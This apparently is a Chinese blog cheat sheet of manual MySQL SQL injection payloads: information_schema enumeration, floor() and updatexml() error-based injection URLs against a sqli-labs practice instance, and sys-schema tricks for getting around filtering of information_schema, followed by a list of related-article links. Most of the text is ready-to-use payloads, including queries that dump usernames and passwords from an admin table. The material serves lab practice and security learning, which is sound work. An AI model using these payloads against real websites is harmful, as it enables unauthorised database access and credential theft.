sql 手注 语法
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。
爆所有数据库名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值
select group_concat(username,0x3a,password) from adminuser
2. floor报错注入
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
查询当前数据库:
http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
查询所有的数据库,limit来控制
http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
查询security下的表名
http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
查询security下的emails数据表的字段名
http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
查询security下的emails数据表的email_id字段内容
http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' and (select 1 from (select count(*),concat((select email_id from emails limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
3. updatexml注入
and updatexml(1,payload,1)
查询当前数据库:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
爆所有数据库:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT group_concat(schema_name) from information_schema.schemata),0x7e),1)--+
因为限制了长度是32 是显示不完全的,
这边又采用Limit来显示所有的数据库名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
一个一个查找security下的表名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x7e),1)--+
查找security下的所有表名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)--+ 显示不完全
查找emails数据表中的所有列名:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73),0x7e),1)--+
查找email字段内容:http://192.168.48.130/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e),1)--+
4、sql 奇淫技巧
在进行sql注入时候,如果mysql, information)schema被过滤了,我们可以使用以下的语句。 tips: mysql版本是5.7以上
1、查看所有库名
select table_schema from sys.schema_table_statistics group by table_schema #查看所有库名
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;
2、查看指定库的表名
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='www_project' GROUP BY table_name; #查找www_project数据库下的所有数据表
SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='www_project' GROUP BY table_name;
4、快速定位到重要的数据库以及表
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc; # 统计所有访问过的表次数:库名,表名,访问次数
sql 手注 语法的更多相关文章
- SQL server存储过程语法及实例(转)
存储过程如同一门程序设计语言,同样包含了数据类型.流程控制.输入和输出和它自己的函数库. --------------------基本语法-------------------- 一.创建存储过程cr ...
- SQL语句方法语法总结(二)
1.给表插入数据. (1)INSERT INTO TBL_NAME VALUES (VALUE_1,VALUE_2,...) (2)INSERT INTO TBL_NAME (COL_1,COL_2, ...
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- Web系统常见安全漏洞及解决方案-SQL盲注
关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...
- 实验吧——看起来有点难(sql盲注)
题目地址:http://ctf5.shiyanbar.com/basic/inject/ 首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示 1.数据库连接失败! 2.登录失败, ...
- SQL盲注学习-布尔型
本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...
- (转)SQL盲注攻击的简单介绍
转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介 1.1 普通SQL注入技术概述 目前没有对SQL ...
- sqli-labs11-17(手注+sqlmap)
这几关涉及到的都是post型data处注入,和get型的差别就是注入点的测试处不一样,方法都是一样的 0x01 sqli-labs less-11 1.手工 由于是post型注入,那么我们不能在url ...
随机推荐
- Linux Ubuntu系统版本通过Crontab设置定时任务的执行
Linux Ubuntu系统版本通过Crontab设置定时任务的执行 本文由本人收集网络信息总结而来 特别鸣谢:https://linux.zone/2258 1 crontab 简单介绍以及语法使用 ...
- jmeter跳过验证码登录配置:通过手动添加 Cookie 跳过带验证码的登录接口
目录 一.基本配置 二.HTTP请求默认值 三.HTTP信息头管理器 四.HTTP Cookie管理器 五.线程组下接口设置 一.基本配置 二.HTTP请求默认值 (1)jmeter的设置: (2)设 ...
- 理想的DevOp流程怎么做?看看Slack的代码部署实践 原创 Michael Deng 高可用架构 今天
理想的DevOp流程怎么做?看看Slack的代码部署实践 原创 Michael Deng 高可用架构 今天
- 长连接开发踩坑之netty OOM问题排查实践
https://mp.weixin.qq.com/s/jbXs7spUCbseMX-Vf43lPw 原创: 林健 51NB技术 2018-07-13
- DP中的树上边/点覆盖问题
目录 树上边覆盖问题 例:luoguP2016 战略游戏 简述题意: Solution: Code 树上点覆盖问题 简述题意 Solution Code: 树上边覆盖问题 例:luoguP2016 战 ...
- RocketMQ 常用消息类型
文章首发于公众号<程序员果果> 地址 : https://mp.weixin.qq.com/s/dYqGd9zi2mNelsNNLIribg 消息发送示例 导入依赖: <depend ...
- Spark程序使用Scala进行单元测试
Spark程序使用Scala进行单元测试 1.Rdd测试 2.无返回值方法测试 3.测试私有方法 原文作者:大葱拌豆腐 原文地址:Spark程序进行单元测试-使用scala 1.Rdd测试 spark ...
- GIS基本概念,空间分析
GIS基本概念,空间分析 一.GIS基本概念 1.1 要素模型(Feature) 1.2 矢量数据 1.3 空间分析 1.3.1 空间查询和空间量算 1.3.2 缓冲区分析 1.3.3 叠加分析 1. ...
- Spring5源码,@Autowired
一.@Autowired所具有的功能 二.在Spring中如何使用@Autowired 三.@Autowired注解背后的工作原理 一.@Autowired所具有的功能 @Autowired是一个用来 ...
- Git基本概念,流程,分支,标签及常用命令
Git基本概念,流程,分支,标签及常用命令 Git一张图 Git基本概念 仓库(Repository) 分支(Branch) Git工作流程 Git分支管理(branch) 列出分支 删除分支 分支合 ...